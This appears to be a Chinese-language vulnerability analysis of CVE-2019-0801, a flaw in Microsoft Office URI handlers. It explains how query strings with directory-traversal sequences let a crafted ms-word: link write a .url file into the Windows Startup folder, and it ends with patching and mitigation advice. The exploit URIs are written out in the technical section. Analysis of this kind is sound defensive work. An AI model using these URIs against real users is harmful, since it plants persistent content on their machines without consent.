Microsoft Office URI 超链接漏洞分析 (CVE-2019-0801)
漏洞概述
CVE-2019-0801 是 Microsoft Office 中的一个 URI 处理程序漏洞,允许攻击者通过精心构造的 Office URI 实现目录遍历,最终可能导致任意代码执行。该漏洞由 Andrea Micalizzi 发现并于 2018 年 12 月报告,微软在 2019 年 4 月发布了修复补丁。
技术细节
Office URI 处理机制
Microsoft Office 安装时会注册多种 URI 方案处理程序,用于从浏览器启动 Office 应用程序:
ms-word:ofe|u|<argument>
ms-excel:ofe|u|<argument>
ms-powerpoint:ofe|u|<argument>
其中:
ofe命令表示打开文档进行编辑(也可使用v命令表示查看)<argument>是要打开的 Office 文档的 URI(通常是 http 或 https URL)
正常操作流程
当用户访问如下的 URI 时:
ms-word:ofe|u|http://example.com/SomePath/SomeDoc.docx
Office 会执行以下操作:
- 从指定网站检索文档
- 将文档以随机名称保存在临时文件夹:
%LOCALAPPDATA%\Temp\OICE_16_974FA576_32C1D314_xxxx\ - 创建两个最近打开的文档记录(.url 文件):
C:\Users\<username>\AppData\Roaming\Microsoft\Office\Recent\SomeDoc.docx.urlC:\Users\<username>\AppData\Roaming\Microsoft\Office\Recent\SomePath on example.com.url
漏洞成因
当原始 URL 包含查询字符串时,Office 会尝试将整个查询字符串合并到快捷方式文件名中。例如:
ms-word:ofe|u|http://example.com/SomePath/SomeDoc.docx?hmm
Office 会尝试创建文件:SomeDoc.docx?hmm.url
由于 Windows 不允许文件名中包含问号字符,这通常会导致错误。但攻击者可以通过添加目录遍历字符来绕过此限制:
ms-word:ofe|u|http://example.com/SomePath/SomeDoc.docx?hmm/../blah
此时 Office 会组装路径为:C:\Users\<username>\AppData\Roaming\Microsoft\Office\Recent\SomeDoc.docx?hmm\..\blah.url
目录遍历会取消无效的路径元素 SomeDoc.docx?hmm,最终创建文件:C:\Users\<username>\AppData\Roaming\Microsoft\Office\Recent\blah.url
漏洞利用
通过多级目录遍历,攻击者可以将文件放置在系统任意位置,特别是 Windows 启动文件夹:
ms-word:ofe|u|http://example.com/SomePath/SomeDoc.docx?\..\..\..\Windows\Start Menu\Programs\Startup\w00t
这将创建文件:C:\Users\<username>\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\w00t.url
该文件会在用户每次登录时自动执行。
漏洞危害
- 持久性攻击:攻击者可以在用户启动文件夹中放置恶意快捷方式,实现持久化
- 内容可控:虽然创建的是 .url 文件,但服务器可以返回任意内容类型(如 HTML 文档)
- 隐蔽性强:攻击者可以返回看似无害的内容(如重定向到 about:blank)来避免引起怀疑
- 无需用户名:攻击者可以利用 Office 提供的默认路径,无需知道具体用户名
修复方案
微软已在 2019 年 4 月的安全更新中修复此漏洞,建议用户:
- 及时安装最新的 Office 安全更新
- 对于无法立即更新的系统,可考虑禁用 Office URI 处理程序
缓解措施
- 限制 Office 应用程序的互联网访问
- 监控和限制对 Windows 启动文件夹的写入操作
- 教育用户不要点击不可信的 Office 文档链接
总结
CVE-2019-0801 展示了 URI 处理程序中的细微逻辑缺陷可能导致严重的安全后果。该漏洞允许攻击者通过精心构造的 Office URI 实现目录遍历和持久化攻击,微软给予了该漏洞最高的漏洞指数等级。